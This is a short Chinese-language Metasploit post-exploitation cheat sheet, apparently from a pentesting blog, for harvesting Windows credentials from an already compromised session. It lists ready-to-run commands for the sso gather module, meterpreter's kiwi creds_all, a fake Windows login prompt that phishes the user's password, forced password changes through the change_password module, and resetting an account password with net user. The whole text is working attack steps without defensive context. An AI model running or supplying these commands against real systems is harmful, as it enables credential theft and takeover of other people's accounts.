获取明文密码

sso模块

  1. msf5 > use post/windows/gather/credentials/sso
  2. msf5 post(sso) > set session 6
  3. msf5 post(sso) > exploit

meterpreter kiwi

meterpreter > load kiwi
meterpreter > creds_all

伪造登录框

msf5 > use post/windows/gather/phish_windows_credentials 
msf5 post(windows/gather/phish_windows_credentials) > set session 6
msf5 post(windows/gather/phish_windows_credentials) > exploit

输入密码之后就可以得到了

更改目标密码

change_password

适用于你创建了个新账号，但是对方账号策略强制在登陆之前必须修改密码

msf5 post(windows/gather/phish_windows_credentials) > use post/windows/manage/change_password     
msf5 post(windows/manage/change_password) > set smbuser y2my
msf5 post(windows/manage/change_password) > set old_password 123
msf5 post(windows/manage/change_password) > set new_password 233
msf5 post(windows/manage/change_password) > sessions 6
msf5 post(windows/manage/change_password) > set session 6
msf5 post(windows/manage/change_password) > exploit

net user

meterpreter> shell
net user
net user y2my 123